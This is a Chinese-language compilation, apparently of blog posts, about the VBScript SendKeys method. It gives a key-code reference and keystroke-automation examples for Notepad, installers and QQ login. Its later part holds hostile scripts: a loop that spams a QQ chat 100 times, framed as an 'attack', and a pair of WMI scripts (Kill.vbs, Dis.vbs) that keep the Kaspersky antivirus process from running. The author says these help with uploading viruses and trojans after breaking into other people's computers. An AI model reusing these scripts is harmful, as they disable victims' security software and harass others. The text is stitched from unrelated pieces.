CreateObject("Wscript.Shell")
SendKeys [String]
腳本實現自動按鍵盤的某個鍵 過程是:
按下F5
間隔50毫秒
松開F5
間隔3000毫秒
按下F5
間隔50毫秒
松開F5
回到第一步
批處理是不行的 用VBS 很簡單 例子如下
Set objShell = CreateObject("Wscript.Shell")
do
WScript.Sleep 3000
objShell.SendKeys "{F5}"
WScript.Sleep 3000
objShell.SendKeys "{F5}"
loop
使用 SendKeys 方法可以將鍵擊發送到無自動化界面的應用程序中。多數鍵盤字符都可用一個鍵擊表示。某些鍵盤字符由多個鍵擊組合而成(例如,CTRL+SHIFT+HOME)。要發送單個鍵盤字符,請將字符本身作為 string 參數發送。例如,要發送字母 x,則請發送 string 參數 "x"。
可使用 SendKeys 同時發送多個鍵擊。為此,可將每個鍵擊按順序排列在一起,以此來創建表示一系列鍵擊的復合字符串參數。例如,要發送鍵擊 a、b 和 c,則需要發送字符串參數 "abc" 。SendKeys 方法將某些字符用作字符的修飾符(而不使用其本身的含義)。這組特殊的字符可包括圓括號、中括號、大括號,以及:
加號 "+"
插入記號 "^"
百分號 "%"
和“非”符號 "~"
用大括號 "{}" 括起這些字符可以發送它們。例如,要發送加號,請使用字符串參數 "{+}"。SendKeys中使用的中括號 "[ ]" 無任何特殊含義,但是必須把它們括在大括號中,以便容納確實要賦予其特殊含義的應用程序(例如,對於動態數據交換 (DDE) 就是這樣)。
要發送左中括號字符,請發送字符串參數 "{[}";要發送右中括號字符,請發送字符串參數 "{]}"。
要發送左大括號字符,請發送字符串參數 "{{}";要發送右大括號字符,請發送字符串參數 "{}}"。
某些鍵擊不生成字符(如 ENTER 和 TAB)。某些鍵擊表示操作(如 BACKSPACE 和 BREAK)。要發送這些類型的鍵擊,請發送下表中列出的參數:
空格鍵 " "
退格鍵 {BACKSPACE} 或 {BS} 或 {BKSP}
BREAK {BREAK}
Delete {Delete} 或 {DEL}
向下鍵 {DOWN}
向上鍵 {UP}
向左鍵 {LEFT}
向右鍵 {RIGHT}
END {END}
ENTER {ENTER} 或 ~
ESC {ESC}
TAB {TAB}
CAPS LOCK {CAPSLOCK}
HELP {HELP}
HOME {HOME}
Insert {Insert} 或 {INS}
NUM LOCK {NUMLOCK}
PAGE DOWN {PGDN}
PAGE UP {PGUP}
PRINT SCREEN {PRTSC}
SCROLL LOCK {SCROLLLOCK}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
要發送由常規鍵擊和 SHIFT、CTRL 或 ALT 組合而成的鍵盤字符,請創建表示該鍵擊組合的復合字符串參數。可通過在常規鍵擊之前添加一個或多個以下特殊字符來完成上述操作:
SHIFT +
CTRL ^
ALT %
注意:這樣使用時,不用大括號括起這些特殊字符。
要指定在按下多個其他鍵時,按下 SHIFT、CTRL 和 ALT 的組合,請創建復合字符串參數,用括號括起其中的組合鍵。例如,要發送的組合鍵指定:
如果在按 e 和 c 的同時按 SHIFT 鍵,則發送字符串參數 "+(ec)"。
如果在按 e 時只按 c(而不按 SHIFT),則發送字符串參數 "+ec"。
可使用 SendKeys 方法發送一種在一行內重復按鍵的鍵擊。為此,要創建復合字符串參數,以指定要重復的鍵擊,並在其后指定重復次數。可使用 {鍵擊 數字} 形式的復合字符串參數來完成上述操作。例如,如果要發送 10 次 "x",則需要發送字符串參數 "{x 10}"。請確保在鍵擊和數字之間有一個空格。
注意:只可以發送重復按一個鍵的鍵擊。例如,可以發送 10 次 "x",但不可發送 10 次 "Ctrl+x"。
注意:不能向應用程序發送 PRINT SCREEN 鍵 {PRTSC}。
例子1:關機腳本 (模擬按鍵為:Ctrl + Esc、u、u )
把以下代碼復制至記事本,另存為 off.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}uu"
例子2:重啟腳本 (模擬按鍵為:Ctrl + Esc、u、r )
把以下代碼復制至記事本,另存為 reboot.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}ur"
例子3:切換輸入法 (模擬同時按下:Shift Ctrl )
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "+(^)"
例子4:輸入 cn-dos.net! 至記事本並保存為 CnDos.txt
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 1500
WshShell.AppActivate "無標題 - 記事本"
WshShell.SendKeys "c"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "-"
WScript.Sleep 200
WshShell.SendKeys "d"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "."
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "e"
WScript.Sleep 200
WshShell.SendKeys "t"
WScript.Sleep 200
WshShell.SendKeys "!"
WScript.Sleep 200
WshShell.SendKeys "%FS"
WScript.Sleep 500
WshShell.SendKeys "C"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "D"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "%S"
WScript.Sleep 500
WshShell.SendKeys "%FX"
例子5:自動定時存盤的記事本(此腳本來自網上)
'第一部分:定義變量和對象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=(1000*60*1) '自動存盤時間為1分鍾
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox("給文本起名(不能用中文和純數字):")
'第二部分:打開並激活記事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate "無標題 - 記事本"
'第三部分:用輸入的文件名存盤
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime
'第四部分:自動定時存盤
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
Wend
WScript.Quit
例子:
set objShell = CreateObject("Wscript.Shell")
strCommandLine = "psetup755281.exe" '啟動安裝程序
objShell.Run(strCommandLine)
set WshShell = CreateObject("WScript.Shell")
WScript.Sleep 2000 '延時3秒
WshShell.SendKeys "{ENTER}" '模擬按下回車鍵執行下一步
WScript.Sleep 300 '延時3秒
WshShell.SendKeys "{ENTER}" '模擬按下回車鍵執行下一步
WScript.Sleep 300 '延時3秒
WshShell.SendKeys "{ENTER}" '模擬按下回車鍵執行下一步
WScript.Sleep 5200 '延時3秒
WshShell.SendKeys "{ENTER}" '模擬按下回車鍵執行下一步
WScript.Sleep 300 '延時3秒
WshShell.SendKeys "{ENTER}" '模擬按下回車鍵執行下一步
WScript.Sleep 300 '延時3秒
WshShell.SendKeys "{ENTER}" '模擬按下回車鍵執行下一步
WScript.Sleep 200
WshShell.SendKeys " " '模擬按下空格鍵去除安裝百度超級搜霸一行前的√號
WScript.Sleep 100
WshShell.SendKeys "{TAB}" '模擬按下 Tab 鍵選擇安裝項目
WScript.Sleep 200
WshShell.SendKeys " " '模擬按下空格鍵去除安裝百度超級搜霸一行前的√號
WScript.Sleep 200 '延時0.3秒
WshShell.SendKeys "f" '模擬按下 F鍵同意協議
*************
另外方式:
<%
dim endtime
endtime=timer()
response.write "頁面執行時間:"&FormatNumber(endtime*1000,3)&"毫秒"
%>
對比下面是計算相差的日期
<%
sdate="2008-1-10"
DiffADate=DateDiff("d",sdate,now)
%>
***************************************************************
VBS中SendKeys方法將響應鍵盤的操作,並發送此值。這樣將實現許多有趣、適用、方便的功能!基本上只要鍵盤能完成的操作,SendKeys就能一並完成。你想到了什么?嘿嘿!下面的代碼是經過我一個晚上的整理與測試。其中QQ自動登錄的不成功!不是代碼不行,估計是最新版QQ的保護機制!
第一個例子、將下面這段代碼保存為ie.vbs,運行此vbs,將會打開我的博客。
set s = WScript.CreateObject("WScript.Shell") '創建WScript.Shell對象
app=s.Run ("iexplore") '打開IE瀏覽器
WScript.Sleep 1000 '這表示停頓1000毫秒,即1秒,下面一樣……
s.AppActivate app
s.SendKeys "+{TAB}"
s.SendKeys "http://hi.baidu.com/ycosxhack"
s.SendKeys "{ENTER}"
這段代碼響應了鍵盤三個動作:Shift+Tab聚焦於地址欄、鍵入“http://hi.baidu.com/ycosxhack”、Enter回車。於是這樣就打開我的博客了^^
第二個例子、將下面代碼保存為qq.vbs,運行此vbs,將會自動輸入你的QQ帳號與密碼,然后登錄。
set s = WScript.CreateObject("WScript.Shell")
app=s.Run ("D:\Progra~1\Tencent\QQ\QQ.exe") '你QQ的路徑!
'注意Program Files要寫成Progra~1,我一個晚上測試出來的答案- -!!
WScript.Sleep 1000
s.AppActivate app
s.SendKeys "+{TAB}"
WScript.Sleep 500
s.SendKeys "78669255"
s.SendKeys "{TAB}"
WScript.Sleep 500
s.SendKeys "123456"
WScript.Sleep 1000
s.SendKeys "{ENTER}"
這段代碼響應了鍵盤五個動作:Shift+Tab、輸入QQ號78669255、Tab、輸入QQ密碼123456、Enter回車,測試時,將這些值換成你自己的。
能懂這兩個例子,其它不就可以舉一反三了嗎?記住只要鍵盤能完成的SendKeys基本都是可以完成的!那些黑客們經常用到的快捷鍵(基本不用鼠標就可以完成任務!)都可以模擬出來,再舉個小例子,打開“任務管理器”,Ctrl+Shift+Esc對吧?看下面代碼:
set s = WScript.CreateObject("WScript.Shell")
s.SendKeys "^+{ESC}"
運行后,是不是打開任務管理器啦?要關閉電腦?調用cmd?刪除文件?格式硬盤?等等,通過SendKeys方法皆可輕易完成!這在某些方面也許會很有用,比如:黑客方面……
呃~~~上面的SendKeys方法是不是有點地方不明白?如:打開“任務管理器”的例子,SendKeys "^+{ESC}"中^+{ESC}為什么代表Ctrl+Shift+Esc?放心,最后我會給出MSDN的SendKeys方法的幫助文檔,很簡單,自己一看就會恍然大悟的!^^
最后來個有點惡作劇的例子,就是網上有點流行的“QQ消息瘋狂亂發”,如何實現?看下面代碼:
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate ""
for i=1 to 100 '循環發送消息100次!
WScript.Sleep 2000
WshShell.SendKeys "^v" '粘貼剪切板里的內容到QQ聊天面板上!
WshShell.SendKeys "%s" '發送……
next
打開某位好友或某個群的聊天面板,將此腳本代碼保存為AttactQQ.vbs,運行后,將鼠標聚焦與聊天面板上,此時“攻擊”就開始了……哈哈!別太瘋狂了!
估計你已經了解了VBS的SendKeys方法了吧?
兩個簡易VBS腳本結束進程與防止進程啟動
Kill.vbs用來在cmd下結束進程,Dis.vbs用來在窗口模式下防止某進程再次啟動。這兩個VBS都不會被殺毒軟件KILL掉,並且有一定的隱蔽性……看代碼!('為注釋)
Kill.vbs:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI腳本入侵技術,我不能解釋清楚!
if ps.handle=wscript.arguments(0) then '判斷進程的PID號是否與獲得的PID號參數相等
wscript.echo ps.terminate '如果相等就結束指定PID號對應的進程
end if
next
Dis.vbs
dim y,x '不要這行也行……
do '來個死循環……一直在判斷!do ... loop內為循環體!
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解釋一樣,這也是涉及到微軟的WMI技術!
set x=y.execquery("select * from win32_process where name='avp.exe'")
'查詢語句,where后判斷avp.exe(卡巴)是否存在進程中!
'這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非,把Dis.vbs結束了先……
for each i in x
i.terminate() '卡巴要啟動馬上就終止……
next
wscript.sleep
loop
解釋夠清楚了,那就來看看這兩個vbs是如何工作的吧。我將Kill.vbs與Dis.vbs放在C盤根目錄下。
打開cmd,輸入cd\回到C盤根目錄下,輸入tasklist查看當前系統的進程情況,然后記下你想kill的進程的PID號,輸入cscript Kill.vbs 2200即可結束PID為2200的進程了!假如這個進程是avp.exe,那你就可以輸入Dis.vbs啟動Dis.vbs來防止卡巴繼續被啟動。Dis.vbs啟動時僅在任務管理器的進程中有wscript.exe進程項,要是不結束這個進程是無法再次啟動卡巴的。
懂得這些,為以后入侵他人電腦后上傳病毒、木馬之類的就更方便了一點點……上面的所有過程都經本人試驗成功了,繼續完善……
*******************************************************************************
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "cmd"
' 讓腳本等待1000毫秒,也就是1秒再執行下一條語句
WScript.Sleep 1000
' -- 發送字符時,輸入法一定要在英文件狀態下
' 發送分號
WshShell.SendKeys ";"
WScript.Sleep 1000
' 發送冒號
WshShell.SendKeys ":"
WScript.Sleep 1000
' 發送雙引號 -- 利用chr把雙引號轉換出來
WshShell.SendKeys Chr(34)
WScript.Sleep 1000
' 發送帶有雙引號的字符串
WshShell.SendKeys Chr(34)&"this is a string"&Chr(34)
WScript.Sleep 1000
' -- 切記,這里是模擬的擊鍵操作,所以不能發送中文
'WshShell.SendKeys Chr(34)&"這是一個字符串"&Chr(34)
WScript.Sleep 1000
' ================================================
' -- 如何模擬回車,上檔鍵,Alt鍵喃?
' ================================================
' -- 如何模擬回車, -- {enter}這就代表是發送回車
WshShell.SendKeys "this is a enter!{enter}"
WScript.Sleep 1000
' -- 如何模擬上檔鍵Shift, -- +這就代表是發送shift
WshShell.SendKeys "this is +a" ' 結果為 this is A
WScript.Sleep 1000
' -- 如何模擬Alt, -- %這就代表是發送Alt
WshShell.SendKeys "this is %{TAB}" ' 結果為 切換窗口
WScript.Sleep 1000
' ===========================================================
' -- 那么如何發送%, + ^ 喃
WshShell.SendKeys "this is {+}{^}{%}" ' 結果為 切換窗口
WScript.Sleep 1000
' -- 這里你可能已經明白了,發送送特殊字符時,請放到 {} 中
' ===========================================================
' ======================================
' 更多信息請看VBS幫助文檔 2009-07-26
' ======================================